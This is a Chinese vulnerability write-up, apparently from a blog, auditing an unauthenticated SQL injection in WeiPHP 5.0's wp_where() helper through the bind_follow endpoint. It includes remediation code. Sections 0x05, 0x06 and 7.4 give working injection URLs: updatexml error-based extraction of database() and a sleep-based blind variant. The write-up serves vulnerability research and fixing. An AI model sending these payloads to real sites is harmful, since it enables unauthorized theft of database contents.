0x00 前言

WeiPHP 5.0 的 application/common.php 中提供了一个 wp_where() 辅助函数,用于统一构造 SQL 查询条件。该函数支持 exp 数组格式来表示原始 SQL 表达式,但对数组的第二元素未做任何安全校验,直接将用户输入通过 Db::raw() 拼入 SQL 语句。本文记录了对 home/index/bind_follow 接口利用 exp 数组触发 SQL 注入的完整审计过程。

该漏洞不需要登录,攻击者通过浏览器直接访问即可触发报错注入,窃取数据库中的敏感数据。

本文仅供安全研究与教学用途,请勿用于非法攻击。

0x01 环境信息

项目

版本

WeiPHP

5.0

ThinkPHP 内核

5.1.37

PHP

5.6

MySQL

5.6 / 5.7

Web Server

Apache / Nginx

本文章环境使用phpstudy_pro搭建,php,mysql版本可尝试其他版本

0x02 入口发现:bind_follow 接口

在 application/home/controller/Index.php 中找到 bind_follow() 方法:

// 管理员预览时初始化粉丝信息
public function bind_follow()
{
    $publicid = $map['publicid'] = I('publicid');
    $uid = $map['uid'] = I('uid');           // ★ 用户输入
    $this->assign($map);

    $info = M('user_follow')->where(wp_where($map))->find();  // ★ 传入 wp_where()

    $is_ajax = I('is_ajax', 0);
    if ($is_ajax) {
        if ($info['follow_id'] > 0) {
            session('follow_id', $info['follow_id']);
        }
        echo $info['follow_id'];
        exit();
    }
    // ...
}

关键信息:

分析项

结论

参数来源

I('uid') — ThinkPHP input() 辅助函数

默认过滤

htmlspecialchars,仅转义 <>"&,单引号不受影响

数组支持

I() 支持获取数组参数,PHP 将 uid[0]=exp&uid[1]=xxx 解析为 ['exp', 'xxx']

SQL 入口

wp_where($map) → M('user_follow')->where(...)->find()

关于 I() 与 input():ThinkPHP 5.1 的 input() 默认过滤器为 htmlspecialchars,使用 ENT_COMPAT 标志。该模式下仅转义双引号,不转义单引号。这意味着单引号可以直接穿透到达 SQL 查询层。

0x03 认证分析:为什么不需要登录

Home 控制器继承自 WebBase,其 initialize() → initWeb() 方法中有登录检查。

文件:application/common/controller/WebBase.php

3.1 ACCESS 数据库配置

config('ACCESS') 的值来自数据库 wp_config 表,查询结果:

Home/Index/* 就在 ACCESS 配置中。

3.2 代码路径跟踪

请求 home/index/bind_follow 时,代码执行路径:

// 第一步:构造路径匹配键(第 102-107 行)
$index_2 = 'home/index/*';  // parse_name() 统一转小写

// 第二步:加载 ACCESS 配置并统一转小写(第 110-112 行)
// 'Home/Index/*' → strtolower → 'home/index/*'
$access = array_flip(['home/user/*', 'home/index/*', 'home/help/*', ...]);

// 第三步:判断 guest_login(第 114 行)
$guest_login = isset($access['home/index/*']);      // ★ TRUE                         

// 结果:$guest_login = true

// 第四步:登录检查短路(第 116 行)
if (IS_GET && !is_login() && !$guest_login) {
//   true    true          false ← 短路,不进入 if 块
    return $this->redirect(...);
}

三个 && 条件中,!$guest_login 为 false,整个条件短路,登录重定向代码不执行。bind_follow() 方法的业务代码继续执行。

3.4 总结

bind_follow 作为"管理员预览时绑定粉丝"的回调接口,从业务设计上就需要公开访问,因此被放入了 ACCESS 白名单。这不是认证漏洞,但公开接口中存在的 SQL 注入使得攻击者无需登录即可利用。

0x04 漏洞核心:wp_where() 的 EXP 处理缺陷

4.1 WP_WHERE() 源码分析

文件:application/common.php

function wp_where($field)
{
    if (!is_array($field)) {
        return $field;     // 字符串直接返回
    }

    $res = [];
    foreach ($field as $key => $value) {
        // 分支 1: 数值键 或 三维数组(已预处理的查询条件)
        if (is_numeric($key) || (is_array($value) && count($value) == 3)) {
            if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
                $value[2] = Db::raw($value[2]);    // ★ 已在其他位置处理了 Db::raw
            }
            $res[] = $value;
        }
        // 分支 2: 二维数组 [操作符, 值] 格式
        elseif (is_array($value)) {
            if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
                $value[1] = Db::raw($value[1]);    // ★★★ 直接将用户输入包装为原始 SQL
            }
            $res[] = [$key, $value[0], $value[1]];
        }
        // 分支 3: 标量值,构造等值查询
        else {
            $res[] = [$key, '=', $value];
        }
    }

    return $res;
}

4.2 数据流追踪

攻击者构造 URL:

uid[0]=exp&uid[1]=) and updatexml(1,concat(0x7e,md5('1'),0x7e),1)--+

第一步 — PHP 解析 query string:

$_GET['uid'] = ['exp', ') and updatexml(1,concat(0x7e,md5(\'1\'),0x7e),1)--+'];

第二步 — I('uid') 获取参数:

$map['uid'] = ['exp', ') and updatexml(1,concat(0x7e,md5(\'1\'),0x7e),1)--+'];

第三步 — wp_where($map) 处理:

// $key = 'uid', $value = ['exp', ') and updatexml(1,...)--+']
// 进入分支 2(is_array($value) 且 $value[0] == 'exp')
// $value[1] 被包装为 Db::raw(') and updatexml(1,...)--+')
// 返回 [['uid', 'exp', Db::raw(') and updatexml(1,...)--+')]]

第四步 — ThinkPHP Query Builder 生成 SQL:

ThinkPHP 处理 ['uid', 'exp', Db::raw('...')] 格式时,将 exp 操作符的第三个参数作为原始 SQL 表达式直接拼接:

SELECT * FROM `wp_user_follow` WHERE `publicid` = 1 AND (`uid` ) and updatexml(1,concat(0x7e,md5('1'),0x7e),1)--+ ) LIMIT 1

注意 (uid 后面的 ) 来自我们 payload 的第一个字符 ),它闭合了 ThinkPHP 自动生成的 (uid 左括号。随后的 --+ 注释掉后面的 ) LIMIT 1。

4.3 注入原理

PHP 层                          ThinkPHP 层                       MySQL 层
───────                         ────────────                      ────────
uid[0]=exp          →    wp_where() 检测到 exp    →    WHERE (`uid`
uid[1]=)...--+      →    → Db::raw(')...')        →    ) and updatexml(...)
                         → ['uid','exp',Db::raw()] →    --+ ) LIMIT 1
                                                         ↑
                                                    注释掉后面的括号和 LIMIT

4.4 为什么 EXP 的设计是危险的

Db::raw() 是 ThinkPHP 的"原始表达式"机制,它的本意是让开发者插入已知安全的 SQL 片段(如 NOW()、RAND() 等函数调用)。但当它与用户输入结合时,就变成了直接注入点。

wp_where() 的设计缺陷在于:它假设调用者传入的 exp 值是可信的,没有做任何过滤或校验,直接将用户输入从 $_GET 传递到 Db::raw()。

0x05 Payload 构造

#publicid与is_ajax对注入无影响
#获取database()
/public/index.php/home/index/bind_follow/?uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+
/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+ 

0x06 wp_where() 的另外两个注入变体

变体一:三维数组格式

如果请求以以下格式构造(适用于某些 ThinkPHP 自动解析场景):

uid[0]=uid&uid[1]=exp&uid[2]=) and updatexml(1,concat(0x7e,database(),0x7e),1)--+

对应 wp_where() 分支 1(count($value) == 3):

// 进入分支 1
if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
    $value[2] = Db::raw($value[2]);     // 同样直接注入
}

payload

#publicid与is_ajax对注入无影响
#获取database()
/public/index.php/home/index/bind_follow/?uid[0]=uid&uid[1]=exp&uid[2]=) and updatexml(1,concat(0x7e,database(),0x7e),1)--+
/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=uid&uid[1]=exp&uid[2]=) and updatexml(1,concat(0x7e,database(),0x7e),1)--+

变体二:关联数组格式

如果模块通过 $_REQUEST 接收参数且控制器用其他方式构造数组,任何形如 ['exp', 'PAYLOAD'] 的二维数组传入 wp_where() 都会触发注入。这意味着所有使用 wp_where() 且参数来自用户输入的查询都可能受到影响,除了 bind_follow 外还包括:

// 任何这样的调用都是潜在注入点
$map['xxx'] = I('xxx');       // xxx[0]=exp&xxx[1]=PAYLOAD
M('table')->where(wp_where($map))->select();

0x07 修复方案

7.1 修复 wp_where() — 移除 EXP 对用户输入的信任

// application/common.php:4588-4591

elseif (is_array($value)) {
-   if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
-       $value[1] = Db::raw($value[1]);
-   }

+   // 禁止 exp 操作符接受来自用户输入的原始 SQL
+   if (strtolower($value[0]) == 'exp') {
+       throw new \InvalidArgumentException(
+           'exp operator is not allowed for user-supplied values'
+       );
+   }

    $res[] = [$key, $value[0], $value[1]];
}

同理修复分支 1 中对三维数组的 exp 处理。

7.2 业务代码层 — 白名单校验参数格式

// application/home/controller/Index.php:158
$uid = $map['uid'] = I('uid');

// 添加:如果 uid 是数组,拒绝或只提取数字值
if (is_array($uid)) {
    throw new \InvalidArgumentException('Invalid parameter format');
}

7.3 框架层 — 限制 input() 接受的参数格式

在 ThinkPHP 的 input() 函数中添加参数格式约束,例如 input('uid', '', 'intval') 强制整数转换,从根本上杜绝数组注入。

7.4 运行时防护 — 关闭调试模式

调试模式关闭后,SQL 报错不会在页面中直接回显,攻击者只能使用盲注(时间),利用难度和成本显著增加。但这只是缓解措施而非修复,注入漏洞仍然存在。

使用延时注入:

payload:
/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20or%20sleep(5)%23

0x08 总结

请求入口: ?uid[0]=exp&uid[1]=)...--+
              │
              ▼
    PHP 解析: $_GET['uid'] = ['exp', 'PAYLOAD']
              │
              ▼
    I('uid'): 默认 htmlspecialchars 过滤器 — 单引号不转义
              │
              ▼
    wp_where(): 检测 value[0]=='exp' → Db::raw(value[1])
              无任何安全校验,直接包装为原始 SQL 表达式
              │
              ▼
    ThinkPHP Query Builder: 将 exp/Db::raw 值拼入 SQL
              │
              ▼
    MySQL 执行: updatexml 报错 → 数据回显

审计要点:

  1. input() 默认过滤器不防 SQL 注入。htmlspecialchars 只处理 <>"&,单引号、括号、SQL 关键字均直接放行
  2. exp 是 ThinkPHP 的"信任域"操作符。它被设计用于接收可信 SQL 片段,直接暴露给用户输入即为漏洞
  3. PHP 数组参数是注入利器。url[]=xxx 语法让攻击者能构造任意结构的数组传入后端,绕过标量值的预期
  4. wp_where() 的安全边界模糊。调用者以为它做了过滤,实则字符串直传、exp 直包装,形同虚设
  5. app_debug 是放大器。从盲注变成报错回显,利用成本从小时级降至秒级

本文首发于个人博客,转载请注明出处。